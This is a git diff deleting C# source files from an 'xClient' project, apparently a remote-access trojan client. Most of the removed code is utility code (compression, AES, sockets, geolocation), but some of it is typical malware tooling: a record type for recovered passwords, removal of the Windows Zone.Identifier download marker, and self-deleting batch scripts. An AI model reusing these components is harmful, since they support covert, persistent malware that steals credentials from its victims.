for free under the GPL 1, 2 or 3 license (where anything - // released into public must be open source) or under a commercial license if such - // has been acquired (see http://www.quicklz.com/order.html). The commercial license - // does not cover derived or ported versions created by third parties under GPL. - // - // Only a subset of the C library has been ported, namely level 1 and 3 not in - // streaming mode. - // - // Version: 1.5.0 final - - public static class SafeQuickLZ - { - public const int QLZ_VERSION_MAJOR = 1; - public const int QLZ_VERSION_MINOR = 5; - public const int QLZ_VERSION_REVISION = 0; - - // Streaming mode not supported - public const int QLZ_STREAMING_BUFFER = 0; - - // Bounds checking not supported Use try...catch instead - public const int QLZ_MEMORY_SAFE = 0; - - // Decrease QLZ_POINTERS_3 to increase level 3 compression speed. Do not edit any other values! - private const int HASH_VALUES = 4096; - private const int MINOFFSET = 2; - private const int UNCONDITIONAL_MATCHLEN = 6; - private const int UNCOMPRESSED_END = 4; - private const int CWORD_LEN = 4; - private const int DEFAULT_HEADERLEN = 9; - private const int QLZ_POINTERS_1 = 1; - private const int QLZ_POINTERS_3 = 16; - - private static int HeaderLength(byte[] source) - { - return ((source[0] & 2) == 2) ? 9 : 3; - } - - public static int SizeDecompressed(byte[] source) - { - if (HeaderLength(source) == 9) - return source[5] | (source[6] << 8) | (source[7] << 16) | (source[8] << 24); - else - return source[2]; - } - - public static int SizeCompressed(byte[] source) - { - if (HeaderLength(source) == 9) - return source[1] | (source[2] << 8) | (source[3] << 16) | (source[4] << 24); - else - return source[1]; - } - - private static void WriteHeader(byte[] dst, int level, bool compressible, int sizeCompressed, - int sizeDecompressed) - { - dst[0] = (byte)(2 | (compressible ? 1 : 0)); - dst[0] |= (byte)(level << 2); - dst[0] |= (1 << 6); - dst[0] |= (0 << 4); - FastWrite(dst, 1, sizeDecompressed, 4); - FastWrite(dst, 5, sizeCompressed, 4); - } - - public static byte[] Compress(byte[] source, int level = 3) - { - if (source.Length == 0) - return new byte[0]; - - int[,] hashtable; - - switch (level) - { - case 1: - hashtable = new int[HASH_VALUES, QLZ_POINTERS_1]; - break; - case 3: - hashtable = new int[HASH_VALUES, QLZ_POINTERS_3]; - break; - default: - throw new ArgumentException("C# version only supports level 1 and 3"); - } - - int src = 0; - int dst = DEFAULT_HEADERLEN + CWORD_LEN; - uint cword_val = 0x80000000; - int cword_ptr = DEFAULT_HEADERLEN; - byte[] destination = new byte[source.Length + 400]; - int[] cachetable = new int[HASH_VALUES]; - byte[] hash_counter = new byte[HASH_VALUES]; - byte[] d2; - int fetch = 0; - int last_matchstart = (source.Length - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1); - int lits = 0; - - if (src <= last_matchstart) - fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); - - while (src <= last_matchstart) - { - if ((cword_val & 1) == 1) - { - if (src > source.Length >> 1 && dst > src - (src >> 5)) - { - d2 = new byte[source.Length + DEFAULT_HEADERLEN]; - WriteHeader(d2, level, false, source.Length, source.Length + DEFAULT_HEADERLEN); - Array.Copy(source, 0, d2, DEFAULT_HEADERLEN, source.Length); - return d2; - } - - FastWrite(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4); - cword_ptr = dst; - dst += CWORD_LEN; - cword_val = 0x80000000; - } - - if (level == 1) - { - int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); - int o = hashtable[hash, 0]; - int cache = cachetable[hash] ^ fetch; - cachetable[hash] = fetch; - hashtable[hash, 0] = src; - - if (cache == 0 && hash_counter[hash] != 0 && - (src - o > MINOFFSET || - (src == o + 1 && lits >= 3 && src > 3 && source[src] == source[src - 3] && - source[src] == source[src - 2] && source[src] == source[src - 1] && - source[src] == source[src + 1] && source[src] == source[src + 2]))) - { - cword_val = ((cword_val >> 1) | 0x80000000); - if (source[o + 3] != source[src + 3]) - { - int f = 3 - 2 | (hash << 4); - destination[dst + 0] = (byte)(f >> 0 * 8); - destination[dst + 1] = (byte)(f >> 1 * 8); - src += 3; - dst += 2; - } - else - { - int old_src = src; - int remaining = ((source.Length - UNCOMPRESSED_END - src + 1 - 1) > 255 - ? 255 - : (source.Length - UNCOMPRESSED_END - src + 1 - 1)); - - src += 4; - if (source[o + src - old_src] == source[src]) - { - src++; - if (source[o + src - old_src] == source[src]) - { - src++; - while (source[o + (src - old_src)] == source[src] && (src - old_src) < remaining) - src++; - } - } - - int matchlen = src - old_src; - - hash <<= 4; - if (matchlen < 18) - { - int f = (hash | (matchlen - 2)); - destination[dst + 0] = (byte)(f >> 0 * 8); - destination[dst + 1] = (byte)(f >> 1 * 8); - dst += 2; - } - else - { - FastWrite(destination, dst, hash | (matchlen << 16), 3); - dst += 3; - } - } - fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); - lits = 0; - } - else - { - lits++; - hash_counter[hash] = 1; - destination[dst] = source[src]; - cword_val = (cword_val >> 1); - src++; - dst++; - fetch = ((fetch >> 8) & 0xffff) | (source[src + 2] << 16); - } - - } - else - { - fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); - - int o, offset2; - int matchlen, k, m, best_k = 0; - byte c; - int remaining = ((source.Length - UNCOMPRESSED_END - src + 1 - 1) > 255 - ? 255 - : (source.Length - UNCOMPRESSED_END - src + 1 - 1)); - int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); - - c = hash_counter[hash]; - matchlen = 0; - offset2 = 0; - for (k = 0; k < QLZ_POINTERS_3 && c > k; k++) - { - o = hashtable[hash, k]; - if ((byte)fetch == source[o] && (byte)(fetch >> 8) == source[o + 1] && - (byte)(fetch >> 16) == source[o + 2] && o < src - MINOFFSET) - { - m = 3; - while (source[o + m] == source[src + m] && m < remaining) - m++; - if ((m > matchlen) || (m == matchlen && o > offset2)) - { - offset2 = o; - matchlen = m; - best_k = k; - } - } - } - o = offset2; - hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src; - c++; - hash_counter[hash] = c; - - if (matchlen >= 3 && src - o < 131071) - { - int offset = src - o; - - for (int u = 1; u < matchlen; u++) - { - fetch = source[src + u] | (source[src + u + 1] << 8) | (source[src + u + 2] << 16); - hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); - c = hash_counter[hash]++; - hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src + u; - } - - src += matchlen; - cword_val = ((cword_val >> 1) | 0x80000000); - - if (matchlen == 3 && offset <= 63) - { - FastWrite(destination, dst, offset << 2, 1); - dst++; - } - else if (matchlen == 3 && offset <= 16383) - { - FastWrite(destination, dst, (offset << 2) | 1, 2); - dst += 2; - } - else if (matchlen <= 18 && offset <= 1023) - { - FastWrite(destination, dst, ((matchlen - 3) << 2) | (offset << 6) | 2, 2); - dst += 2; - } - else if (matchlen <= 33) - { - FastWrite(destination, dst, ((matchlen - 2) << 2) | (offset << 7) | 3, 3); - dst += 3; - } - else - { - FastWrite(destination, dst, ((matchlen - 3) << 7) | (offset << 15) | 3, 4); - dst += 4; - } - lits = 0; - } - else - { - destination[dst] = source[src]; - cword_val = (cword_val >> 1); - src++; - dst++; - } - } - } - while (src <= source.Length - 1) - { - if ((cword_val & 1) == 1) - { - FastWrite(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4); - cword_ptr = dst; - dst += CWORD_LEN; - cword_val = 0x80000000; - } - - destination[dst] = source[src]; - src++; - dst++; - cword_val = (cword_val >> 1); - } - while ((cword_val & 1) != 1) - { - cword_val = (cword_val >> 1); - } - FastWrite(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), CWORD_LEN); - WriteHeader(destination, level, true, source.Length, dst); - d2 = new byte[dst]; - Array.Copy(destination, d2, dst); - return d2; - } - - - private static void FastWrite(byte[] a, int i, int value, int numbytes) - { - for (int j = 0; j < numbytes; j++) - a[i + j] = (byte)(value >> (j * 8)); - } - - public static byte[] Decompress(byte[] source) - { - if (source.Length == 0) - return new byte[0]; - - int level = (source[0] >> 2) & 0x3; - - if (level != 1 && level != 3) - throw new ArgumentException("C# version only supports level 1 and 3"); - - int size = SizeDecompressed(source); - int src = HeaderLength(source); - int dst = 0; - uint cword_val = 1; - byte[] destination = new byte[size]; - int[] hashtable = new int[4096]; - byte[] hash_counter = new byte[4096]; - int last_matchstart = size - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1; - int last_hashed = -1; - int hash; - uint fetch = 0; - - if ((source[0] & 1) != 1) - { - byte[] d2 = new byte[size]; - Array.Copy(source, HeaderLength(source), d2, 0, size); - return d2; - } - - for (; ; ) - { - if (cword_val == 1) - { - cword_val = - (uint) - (source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24)); - src += 4; - if (dst <= last_matchstart) - { - if (level == 1) - fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16)); - else - fetch = - (uint) - (source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | - (source[src + 3] << 24)); - } - } - - if ((cword_val & 1) == 1) - { - uint matchlen; - uint offset2; - - cword_val = cword_val >> 1; - - if (level == 1) - { - hash = ((int)fetch >> 4) & 0xfff; - offset2 = (uint)hashtable[hash]; - - if ((fetch & 0xf) != 0) - { - matchlen = (fetch & 0xf) + 2; - src += 2; - } - else - { - matchlen = source[src + 2]; - src += 3; - } - } - else - { - uint offset; - if ((fetch & 3) == 0) - { - offset = (fetch & 0xff) >> 2; - matchlen = 3; - src++; - } - else if ((fetch & 2) == 0) - { - offset = (fetch & 0xffff) >> 2; - matchlen = 3; - src += 2; - } - else if ((fetch & 1) == 0) - { - offset = (fetch & 0xffff) >> 6; - matchlen = ((fetch >> 2) & 15) + 3; - src += 2; - } - else if ((fetch & 127) != 3) - { - offset = (fetch >> 7) & 0x1ffff; - matchlen = ((fetch >> 2) & 0x1f) + 2; - src += 3; - } - else - { - offset = (fetch >> 15); - matchlen = ((fetch >> 7) & 255) + 3; - src += 4; - } - offset2 = (uint)(dst - offset); - } - - destination[dst + 0] = destination[offset2 + 0]; - destination[dst + 1] = destination[offset2 + 1]; - destination[dst + 2] = destination[offset2 + 2]; - - for (int i = 3; i < matchlen; i += 1) - { - destination[dst + i] = destination[offset2 + i]; - } - - dst += (int)matchlen; - - if (level == 1) - { - fetch = - (uint) - (destination[last_hashed + 1] | (destination[last_hashed + 2] << 8) | - (destination[last_hashed + 3] << 16)); - while (last_hashed < dst - matchlen) - { - last_hashed++; - hash = (int)(((fetch >> 12) ^ fetch) & (HASH_VALUES - 1)); - hashtable[hash] = last_hashed; - hash_counter[hash] = 1; - fetch = (uint)(fetch >> 8 & 0xffff | destination[last_hashed + 3] << 16); - } - fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16)); - } - else - { - fetch = - (uint) - (source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | - (source[src + 3] << 24)); - } - last_hashed = dst - 1; - } - else - { - if (dst <= last_matchstart) - { - destination[dst] = source[src]; - dst += 1; - src += 1; - cword_val = cword_val >> 1; - - if (level == 1) - { - while (last_hashed < dst - 3) - { - last_hashed++; - int fetch2 = destination[last_hashed] | (destination[last_hashed + 1] << 8) | - (destination[last_hashed + 2] << 16); - hash = ((fetch2 >> 12) ^ fetch2) & (HASH_VALUES - 1); - hashtable[hash] = last_hashed; - hash_counter[hash] = 1; - } - fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16); - } - else - { - fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16 | source[src + 3] << 24); - } - } - else - { - while (dst <= size - 1) - { - if (cword_val == 1) - { - src += CWORD_LEN; - cword_val = 0x80000000; - } - - destination[dst] = source[src]; - dst++; - src++; - cword_val = cword_val >> 1; - } - return destination; - } - } - } - } - } -} \ No newline at end of file diff --git a/Client/Core/Cryptography/AES.cs b/Client/Core/Cryptography/AES.cs deleted file mode 100644 index b090c80d4..000000000 --- a/Client/Core/Cryptography/AES.cs +++ /dev/null @@ -1,135 +0,0 @@ -using System; -using System.IO; -using System.Security.Cryptography; -using System.Text; - -namespace xClient.Core.Cryptography -{ - // ReSharper disable once InconsistentNaming - public static class AES - { - private const int IVLENGTH = 16; - private static byte[] _defaultKey; - - public static void SetDefaultKey(string key) - { - using (var md5 = new MD5CryptoServiceProvider()) - { - _defaultKey = md5.ComputeHash(Encoding.UTF8.GetBytes(key)); - } - } - - public static string Encrypt(string input, string key) - { - return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input), Encoding.UTF8.GetBytes(key))); - } - - public static string Encrypt(string input) - { - return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input))); - } - - public static byte[] Encrypt(byte[] input) - { - if (_defaultKey == null || _defaultKey.Length == 0) throw new Exception("Key can not be empty."); - if (input == null || input.Length == 0) throw new ArgumentException("Input can not be empty."); - - byte[] data = input, encdata = new byte[0]; - - try - { - using (var ms = new MemoryStream()) - { - using (var aesProvider = new AesCryptoServiceProvider() { Key = _defaultKey }) - { - aesProvider.GenerateIV(); - - using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write)) - { - ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write first 16 bytes IV, followed by encrypted message - cs.Write(data, 0, data.Length); - } - } - - encdata = ms.ToArray(); - } - } - catch - { - } - return encdata; - } - - public static byte[] Encrypt(byte[] input, byte[] key) - { - if (key == null || key.Length == 0) throw new Exception("Key can not be empty."); - - using (var md5 = new MD5CryptoServiceProvider()) - { - key = md5.ComputeHash(key); - } - - byte[] data = input, encdata = new byte[0]; - - try - { - using (var ms = new MemoryStream()) - { - using (var aesProvider = new AesCryptoServiceProvider() { Key = key }) - { - aesProvider.GenerateIV(); - - using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write)) - { - ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write first 16 bytes IV, followed by encrypted message - cs.Write(data, 0, data.Length); - } - } - - encdata = ms.ToArray(); - } - } - catch - { - } - return encdata; - } - - public static string Decrypt(string input) - { - return Encoding.UTF8.GetString(Decrypt(Convert.FromBase64String(input))); - } - - public static byte[] Decrypt(byte[] input) - { - if (_defaultKey == null || _defaultKey.Length == 0) throw new Exception("Key can not be empty."); - if (input == null || input.Length == 0) throw new ArgumentException("Input can not be empty."); - - byte[] data = new byte[0]; - - try - { - using (var ms = new MemoryStream(input)) - { - using (var aesProvider = new AesCryptoServiceProvider() { Key = _defaultKey }) - { - byte[] iv = new byte[IVLENGTH]; - ms.Read(iv, 0, IVLENGTH); // read first 16 bytes for IV, followed by encrypted message - aesProvider.IV = iv; - - using (var cs = new CryptoStream(ms, aesProvider.CreateDecryptor(), CryptoStreamMode.Read)) - { - byte[] temp = new byte[ms.Length - IVLENGTH + 1]; - data = new byte[cs.Read(temp, 0, temp.Length)]; - Buffer.BlockCopy(temp, 0, data, 0, data.Length); - } - } - } - } - catch - { - } - return data; - } - } -} diff --git a/Client/Core/Data/ClientData.cs b/Client/Core/Data/ClientData.cs deleted file mode 100644 index 4ea74322f..000000000 --- a/Client/Core/Data/ClientData.cs +++ /dev/null @@ -1,16 +0,0 @@ -using System.Windows.Forms; - -namespace xClient.Core.Data -{ - public static class ClientData - { - public static string CurrentPath { get; set; } - public static string InstallPath { get; set; } - public static bool AddToStartupFailed { get; set; } - - static ClientData() - { - CurrentPath = Application.ExecutablePath; - } - } -} diff --git a/Client/Core/Data/GeoInformation.cs b/Client/Core/Data/GeoInformation.cs deleted file mode 100644 index caa358912..000000000 --- a/Client/Core/Data/GeoInformation.cs +++ /dev/null @@ -1,59 +0,0 @@ -using System.Runtime.Serialization; - -namespace xClient.Core.Data -{ - [DataContract] - public class GeoInformation - { - [DataMember] - public double longitude { get; set; } - - [DataMember] - public double latitude { get; set; } - - [DataMember] - public string asn { get; set; } - - [DataMember] - public string offset { get; set; } - - [DataMember] - public string ip { get; set; } - - [DataMember] - public string area_code { get; set; } - - [DataMember] - public string continent_code { get; set; } - - [DataMember] - public string dma_code { get; set; } - - [DataMember] - public string city { get; set; } - - [DataMember] - public string timezone { get; set; } - - [DataMember] - public string region { get; set; } - - [DataMember] - public string country_code { get; set; } - - [DataMember] - public string isp { get; set; } - - [DataMember] - public string postal_code { get; set; } - - [DataMember] - public string country { get; set; } - - [DataMember] - public string country_code3 { get; set; } - - [DataMember] - public string region_code { get; set; } - } -} diff --git a/Client/Core/Data/Host.cs b/Client/Core/Data/Host.cs deleted file mode 100644 index e45077fe0..000000000 --- a/Client/Core/Data/Host.cs +++ /dev/null @@ -1,23 +0,0 @@ -namespace xClient.Core.Data -{ - public class Host - { - /// - /// Stores the hostname of the Host. - /// - /// - /// Can be an IPv4 address or hostname. IPv6 support not tested. - /// - public string Hostname { get; set; } - - /// - /// Stores the port of the Host. - /// - public ushort Port { get; set; } - - public override string ToString() - { - return Hostname + ":" + Port; - } - } -} diff --git a/Client/Core/Data/RecoveredAccount.cs b/Client/Core/Data/RecoveredAccount.cs deleted file mode 100644 index 866c5b24e..000000000 --- a/Client/Core/Data/RecoveredAccount.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace xClient.Core.Data -{ - public class RecoveredAccount - { - public string Username { get; set; } - public string Password { get; set; } - public string URL { get; set; } - public string Application { get; set; } - } -} diff --git a/Client/Core/Extensions/SocketExtensions.cs b/Client/Core/Extensions/SocketExtensions.cs deleted file mode 100644 index fc1254a3f..000000000 --- a/Client/Core/Extensions/SocketExtensions.cs +++ /dev/null @@ -1,48 +0,0 @@ -using System; -using System.Net.Sockets; -using System.Runtime.InteropServices; - -namespace xClient.Core.Extensions -{ - /// - /// Socket Extension for KeepAlive - /// - /// Abdullah Saleem - /// a.saleem2993@gmail.com - public static class SocketExtensions - { - /// - /// A structure used by SetKeepAliveEx Method - /// - [StructLayout(LayoutKind.Sequential)] - internal struct TcpKeepAlive - { - internal uint onoff; - internal uint keepalivetime; - internal uint keepaliveinterval; - }; - - /// - /// Sets the Keep-Alive values for the current tcp connection - /// - /// Current socket instance - /// Specifies how often TCP repeats keep-alive transmissions when no response is received. TCP sends keep-alive transmissions to verify that idle connections are still active. This prevents TCP from inadvertently disconnecting active lines. - /// Specifies how often TCP sends keep-alive transmissions. TCP sends keep-alive transmissions to verify that an idle connection is still active. This entry is used when the remote system is responding to TCP. Otherwise, the interval between transmissions is determined by the value of the keepAliveInterval entry. - public static void SetKeepAliveEx(this Socket socket, uint keepAliveInterval, uint keepAliveTime) - { - var keepAlive = new TcpKeepAlive - { - onoff = 1, - keepaliveinterval = keepAliveInterval, - keepalivetime = keepAliveTime - }; - int size = Marshal.SizeOf(keepAlive); - IntPtr keepAlivePtr = Marshal.AllocHGlobal(size); - Marshal.StructureToPtr(keepAlive, keepAlivePtr, true); - var buffer = new byte[size]; - Marshal.Copy(keepAlivePtr, buffer, 0, size); - Marshal.FreeHGlobal(keepAlivePtr); - socket.IOControl(IOControlCode.KeepAliveValues, buffer, null); - } - } -} \ No newline at end of file diff --git a/Client/Core/Helper/FileHelper.cs b/Client/Core/Helper/FileHelper.cs deleted file mode 100644 index 4034de662..000000000 --- a/Client/Core/Helper/FileHelper.cs +++ /dev/null @@ -1,176 +0,0 @@ -using System; -using System.IO; -using System.Text; -using xClient.Config; -using xClient.Core.Cryptography; -using xClient.Core.Data; -using xClient.Core.Utilities; - -namespace xClient.Core.Helper -{ - public static class FileHelper - { - private const string CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; - private static readonly Random _rnd = new Random(Environment.TickCount); - - public static string GetRandomFilename(int length, string extension = "") - { - StringBuilder randomName = new StringBuilder(length); - for (int i = 0; i < length; i++) - randomName.Append(CHARS[_rnd.Next(CHARS.Length)]); - - return string.Concat(randomName.ToString(), extension); - } - - /// - /// Creates an unused temp file path. - /// - /// The file extension with dot. - /// The path to the temp file. - public static string GetTempFilePath(string extension) - { - while (true) - { - string tempFilePath = Path.Combine(Path.GetTempPath(), GetRandomFilename(12, extension)); - if (File.Exists(tempFilePath)) continue; - return tempFilePath; - } - } - - public static bool IsValidExecuteableFile(byte[] block) - { - if (block.Length < 2) return false; - return (block[0] == 'M' && block[1] == 'Z') || (block[0] == 'Z' && block[1] == 'M'); - } - - public static bool DeleteZoneIdentifier(string filePath) - { - return NativeMethods.DeleteFile(filePath + ":Zone.Identifier"); - } - - public static string CreateUninstallBatch(bool isFileHidden) - { - try - { - string batchFile = GetTempFilePath(".bat"); - - string uninstallBatch = (isFileHidden) - ? "@echo off" + "\n" + - "echo DONT CLOSE THIS WINDOW!" + "\n" + - "ping -n 10 localhost > nul" + "\n" + - "del /A:H " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "del " + "\"" + batchFile + "\"" - : "@echo off" + "\n" + - "echo DONT CLOSE THIS WINDOW!" + "\n" + - "ping -n 10 localhost > nul" + "\n" + - "del " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "del " + "\"" + batchFile + "\"" - ; - - File.WriteAllText(batchFile, uninstallBatch); - return batchFile; - } - catch (Exception) - { - return string.Empty; - } - } - - public static string CreateUpdateBatch(string newFilePath, bool isFileHidden) - { - try - { - string batchFile = GetTempFilePath(".bat"); - - string uninstallBatch = (isFileHidden) - ? "@echo off" + "\n" + - "echo DONT CLOSE THIS WINDOW!" + "\n" + - "ping -n 10 localhost > nul" + "\n" + - "del /A:H " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "move " + "\"" + newFilePath + "\"" + " " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "start \"\" " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "del " + "\"" + batchFile + "\"" - : "@echo off" + "\n" + - "echo DONT CLOSE THIS WINDOW!" + "\n" + - "ping -n 10 localhost > nul" + "\n" + - "del " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "move " + "\"" + newFilePath + "\"" + " " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "start \"\" " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "del " + "\"" + batchFile + "\"" - ; - - File.WriteAllText(batchFile, uninstallBatch); - return batchFile; - } - catch (Exception) - { - return string.Empty; - } - } - - public static string CreateRestartBatch() - { - try - { - string batchFile = GetTempFilePath(".bat"); - - string uninstallBatch = - "@echo off" + "\n" + - "echo DONT CLOSE THIS WINDOW!" + "\n" + - "ping -n 10 localhost > nul" + "\n" + - "start \"\" " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "del " + "\"" + batchFile + "\""; - - File.WriteAllText(batchFile, uninstallBatch); - - return batchFile; - } - catch (Exception) - { - return string.Empty; - } - } - - public static bool ClearReadOnly(string filePath) - { - try - { - FileInfo fi = new FileInfo(filePath); - if (!fi.Exists) return false; - if (fi.IsReadOnly) - fi.IsReadOnly = false; - return true; - } - catch - { - return false; - } - } - - /// - /// Appends text to a log file. - /// - /// The filename of the log. - /// The text to append. - public static void WriteLogFile(string filename, string appendText) - { - appendText = ReadLogFile(filename) + appendText; - - using (FileStream fStream = File.Open(filename, FileMode.Create, FileAccess.Write)) - { - byte[] data = AES.Encrypt(Encoding.UTF8.GetBytes(appendText)); - fStream.Seek(0, SeekOrigin.Begin); - fStream.Write(data, 0, data.Length); - } - } - - /// - /// Reads a log file. - /// - /// The filename of the log. - public static string ReadLogFile(string filename) - { - return File.Exists(filename) ? Encoding.UTF8.GetString(AES.Decrypt(File.ReadAllBytes(filename))) : string.Empty; - } - } -} diff --git a/Client/Core/Helper/FormatHelper.cs b/Client/Core/Helper/FormatHelper.cs deleted file mode 100644 index 75ff7b69b..000000000 --- a/Client/Core/Helper/FormatHelper.cs +++ /dev/null @@ -1,43 +0,0 @@ -using System.Drawing; -using System.IO; -using System.Text.RegularExpressions; - -namespace xClient.Core.Helper -{ - public static class FormatHelper - { - public static string FormatMacAddress(string macAddress) - { - return (macAddress.Length != 12) - ? "00:00:00:00:00:00" - : Regex.Replace(macAddress, "(.{2})(.{2})(.{2})(.{2})(.{2})(.{2})", "$1:$2:$3:$4:$5:$6"); - } - - public static string DriveTypeName(DriveType type) - { - switch (type) - { - case DriveType.Fixed: - return "Local Disk"; - case DriveType.Network: - return "Network Drive"; - case DriveType.Removable: - return "Removable Drive"; - default: - return type.ToString(); - } - } - - public static string FormatScreenResolution(Rectangle resolution) - { - return string.Format("{0}x{1}", resolution.Width, resolution.Height); - } - - public static string RemoveEnd(string input) - { - if (input.Length > 2) - input = input.Remove(input.Length - 2); - return input; - } - } -} diff --git a/Client/Core/Helper/GeoLocationHelper.cs b/Client/Core/Helper/GeoLocationHelper.cs deleted file mode 100644 index 23cfe6ee1..000000000 --- a/Client/Core/Helper/GeoLocationHelper.cs +++ /dev/null @@ -1,215 +0,0 @@ -using System; -using System.IO; -using System.Net; -using System.Runtime.Serialization.Json; -using System.Text; -using System.Xml; -using xClient.Core.Data; - -namespace xClient.Core.Helper -{ - public static class GeoLocationHelper - { - public static readonly string[] ImageList = - { - "ad.png", "ae.png", "af.png", "ag.png", "ai.png", "al.png", - "am.png", "an.png", "ao.png", "ar.png", "as.png", "at.png", "au.png", "aw.png", "ax.png", "az.png", "ba.png", - "bb.png", "bd.png", "be.png", "bf.png", "bg.png", "bh.png", "bi.png", "bj.png", "bm.png", "bn.png", "bo.png", - "br.png", "bs.png", "bt.png", "bv.png", "bw.png", "by.png", "bz.png", "ca.png", "catalonia.png", "cc.png", - "cd.png", "cf.png", "cg.png", "ch.png", "ci.png", "ck.png", "cl.png", "cm.png", "cn.png", "co.png", "cr.png", - "cs.png", "cu.png", "cv.png", "cx.png", "cy.png", "cz.png", "de.png", "dj.png", "dk.png", "dm.png", "do.png", - "dz.png", "ec.png", "ee.png", "eg.png", "eh.png", "england.png", "er.png", "es.png", "et.png", - "europeanunion.png", "fam.png", "fi.png", "fj.png", "fk.png", "fm.png", "fo.png", "fr.png", "ga.png", - "gb.png", "gd.png", "ge.png", "gf.png", "gh.png", "gi.png", "gl.png", "gm.png", "gn.png", "gp.png", "gq.png", - "gr.png", "gs.png", "gt.png", "gu.png", "gw.png", "gy.png", "hk.png", "hm.png", "hn.png", "hr.png", "ht.png", - "hu.png", "id.png", "ie.png", "il.png", "in.png", "io.png", "iq.png", "ir.png", "is.png", "it.png", "jm.png", - "jo.png", "jp.png", "ke.png", "kg.png", "kh.png", "ki.png", "km.png", "kn.png", "kp.png", "kr.png", "kw.png", - "ky.png", "kz.png", "la.png", "lb.png", "lc.png", "li.png", "lk.png", "lr.png", "ls.png", "lt.png", "lu.png", - "lv.png", "ly.png", "ma.png", "mc.png", "md.png", "me.png", "mg.png", "mh.png", "mk.png", "ml.png", "mm.png", - "mn.png", "mo.png", "mp.png", "mq.png", "mr.png", "ms.png", "mt.png", "mu.png", "mv.png", "mw.png", "mx.png", - "my.png", "mz.png", "na.png", "nc.png", "ne.png", "nf.png", "ng.png", "ni.png", "nl.png", "no.png", "np.png", - "nr.png", "nu.png", "nz.png", "om.png", "pa.png", "pe.png", "pf.png", "pg.png", "ph.png", "pk.png", "pl.png", - "pm.png", "pn.png", "pr.png", "ps.png", "pt.png", "pw.png", "py.png", "qa.png", "re.png", "ro.png", "rs.png", - "ru.png", "rw.png", "sa.png", "sb.png", "sc.png", "scotland.png", "sd.png", "se.png", "sg.png", "sh.png", - "si.png", "sj.png", "sk.png", "sl.png", "sm.png", "sn.png", "so.png", "sr.png", "st.png", "sv.png", "sy.png", - "sz.png", "tc.png", "td.png", "tf.png", "tg.png", "th.png", "tj.png", "tk.png", "tl.png", "tm.png", "tn.png", - "to.png", "tr.png", "tt.png", "tv.png", "tw.png", "tz.png", "ua.png", "ug.png", "um.png", "us.png", "uy.png", - "uz.png", "va.png", "vc.png", "ve.png", "vg.png", "vi.png", "vn.png", "vu.png", "wales.png", "wf.png", - "ws.png", "ye.png", "yt.png", "za.png", "zm.png", "zw.png" - }; - - public static int ImageIndex { get; set; } - public static GeoInformation GeoInfo { get; private set; } - public static DateTime LastLocated { get; private set; } - public static bool LocationCompleted { get; private set; } - - static GeoLocationHelper() - { - LastLocated = new DateTime(1, 1, 1, 0, 0, 0, DateTimeKind.Utc); - } - - public static void Initialize() - { - TimeSpan lastLocateTry = new TimeSpan(DateTime.UtcNow.Ticks - LastLocated.Ticks); - - // last location was 30 minutes ago or last location has not completed - if (lastLocateTry.TotalMinutes > 30 || !LocationCompleted) - { - TryLocate(); - - if (GeoInfo.country_code == "-" || GeoInfo.country == "Unknown") - { - ImageIndex = 247; // question icon - return; - } - - for (int i = 0; i < ImageList.Length; i++) - { - if (ImageList[i].Contains(GeoInfo.country_code.ToLower())) - { - ImageIndex = i; - break; - } - } - } - } - - private static void TryLocate() - { - LocationCompleted = false; - - try - { - DataContractJsonSerializer jsonSerializer = new DataContractJsonSerializer(typeof(GeoInformation)); - - HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://telize.com/geoip"); - request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0"; - request.Proxy = null; - request.Timeout = 10000; - - using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) - { - using (Stream dataStream = response.GetResponseStream()) - { - using (StreamReader reader = new StreamReader(dataStream)) - { - string responseString = reader.ReadToEnd(); - - using (MemoryStream ms = new MemoryStream(Encoding.UTF8.GetBytes(responseString))) - { - GeoInfo = (GeoInformation)jsonSerializer.ReadObject(ms); - } - } - } - } - - LastLocated = DateTime.UtcNow; - LocationCompleted = true; - } - catch - { - TryLocateFallback(); - } - } - - private static void TryLocateFallback() - { - GeoInfo = new GeoInformation(); - - try - { - HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://freegeoip.net/xml/"); - request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0"; - request.Proxy = null; - request.Timeout = 10000; - - 